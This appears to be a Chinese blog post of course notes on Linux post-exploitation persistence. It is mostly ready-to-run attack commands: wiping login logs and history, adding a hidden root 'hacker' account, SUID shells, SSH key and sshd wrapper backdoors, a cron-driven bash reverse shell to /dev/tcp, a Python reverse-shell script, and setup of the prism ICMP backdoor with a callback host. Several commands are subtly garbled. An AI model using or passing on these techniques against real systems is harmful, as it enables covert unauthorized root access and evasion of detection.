• Linux权限维持


    1.隐藏踪迹

    创建隐藏文件(ls不可见,ls -la可见):

    1. vim .shell.php

    修改时间戳(文件时间):

    touch -r 老文件 shell.elf
    

    文件锁定(赋予特殊权限,不允许更改):

    chattr +i shell.elf
    

    无w、who、last等记录ssh:

    ssh -T root@IP
    

    清除last记录(登录信息):

    echo '' > /var/log/wtmp
    

    端口复用

    将来自IP访问80端口的流量转发到22端口

    iptables -t nat -A PREROUTING -p tcp -s IP --dport 80 -j REDIRECT --to-port 22
    

    ssh连接80端口

    ssh -p 80 root@IP
    

    历史命令记录隐藏:

    set +o history,停止记录

    history,查看记录

    history -d 序号,删除记录

    2.添加root权限用户

    直接添加

    useradd -p `openssl passwd -1 -salt 'salt' 123456` hacker -o -u 0 -g root -G root -s /bin/bash -d /home/hacker
    

    修改/etc/passwd

    生成密码->放入passwd最后一行

    1. [root@localhost ~]# perl -le 'print crypt('123456',"addedsalt")'
    2. adrla7IBSfTZQ
    3. [root@localhost ~]# echo "hacker:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >> /etc/passwd

    3.suid shell

    让普通用户能用root

    1. cp /bin/bash /tmp/shell
    2. chmod u+/tmp/shell

    此时普通用户可以用root

    1. [ly@localhost root]/tmp/shell -p
    2. shell-4.2# whoami
    3. root

    4.ssh公私钥

    生成公私钥,回车就行(id_rsa是私钥、id_rsa.pub是公钥)

    ssh-keygen -t rsa
    

    查看公钥

    cat /root/.ssh/id_rsa.pub
    

    在对方电脑创建目录并放入公钥(注意粘贴开头可能少个s),重启服务

    1. mkdir /root/.ssh
    2. vim /root/.ssh/authorized_keys
    3. systemctl restart sshd.service

    无需密码连接

    ssh root@IP
    

    5.ssh软连接

    需要PAM认证,下面UsePAM为yes

    vim /etc/ssh/sshd_config
    

    防火墙开放端口->重启->查看是否开放

    1. firewall-cmd --add-port=7777/tcp --permanent
    2. firewall-cmd --reload
    3. firewall-cmd --query-port=7777/tcp

    建立软连接

    ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=7777
    

    免密登录

    ssh root@IP -p 7777
    

    6.ssh wrapper

    先开启ssh,将原本的sshd移位

    1. systemctl start sshd.service
    2. cd /usr/sbin/
    3. mv sshd /

    重写一个sshd,赋予权限

    1. echo '#!/usr/bin/perl' >sshd
    2. echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
    3. echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
    4. chmod u+x sshd

    免密登录

    socat STDIO TCP4:IP:22,sourceport=13377
    

    7.计划任务

    写一个反弹shell脚本并赋权

    1. echo '#!/bin/bash' > /shell.sh
    2. echo 'bash -i >& /dev/tcp/IP/6666 0>&1' >> /shell.sh
    3. chmod +sx /etc/shell.sh

    添加一分钟一次的root权限计划任务

    1. echo '*/1 * * * * root /shell.sh' >> /etc/crontab
    2. systemctl restart crond.service

    8.启动项

    添加后门路径并赋权

    1. echo '/shell.elf' >> /etc/rc.d/rc.local
    2. chmod +/etc/rc.d/rc.local

    9.vim python后门

    vim --version,看支不支持python3

    反弹shell脚本,一个socket服务端,vim shell.py写入

    1. import socket, subprocess, os;
    2. = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
    3. s.connect(("IP"6666));
    4. os.dup2(s.fileno(), 0);
    5. os.dup2(s.fileno(), 1);
    6. os.dup2(s.fileno(), 2);
    7. = subprocess.call(["/bin/sh""-i"]);

    NC监听并在对方电脑执行(可能需要等一下)

    vim -E -c "py3file shell.py"
    

    10.icmp后门工具

    https://github.com/andreafabrizi/prism

    vim prism.c
    

    填反弹IP、端口、时间、密码、进程名

    1. define REVERSE_HOST     "192.168.1.225"
    2. define REVERSE_PORT     19832
    3. define RESPAWN_DELAY    10
    4. define ICMP_KEY         "123456"
    5. define PROCESS_NAME     "mysql"

    后台编译生成prism在对方电脑并运行

    1. gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c
    2. ./prism

    NC监听并在自己电脑执行

    python2 ./sendPacket.py 对方IP 密码 自己IP 端口
    

    11.Reptile工具

    https://github.com/f0rb1dd3n/Reptile

    本文为免杀三期学员笔记:https://www.cnblogs.com/Night-Tac/articles/16941099.html

  • 相关阅读:
    【系统分析师之路】第五章 复盘软件工程(逆向净室与模型驱动开发)
    Linux 根据 PID 查看进程名称
    数据结构之队列(Queue)
    力扣 226. 翻转二叉树
    微信小程序自定义tabBar
    Docker常用命令记录
    Springboot微服务之zookeeper注册中心
    简单个人网页设计作业 静态HTML个人博客主页 DW个人网站模板下载 大学生简单个人网页作品代码 个人网页制作 学生个人网页设计作业
    SpringBoot中15个常用启动扩展点,你用过几个?
    如何使用 GPU 访问运行 Docker Compose 容器
  • 原文地址:https://blog.csdn.net/hongduilanjun/article/details/132671224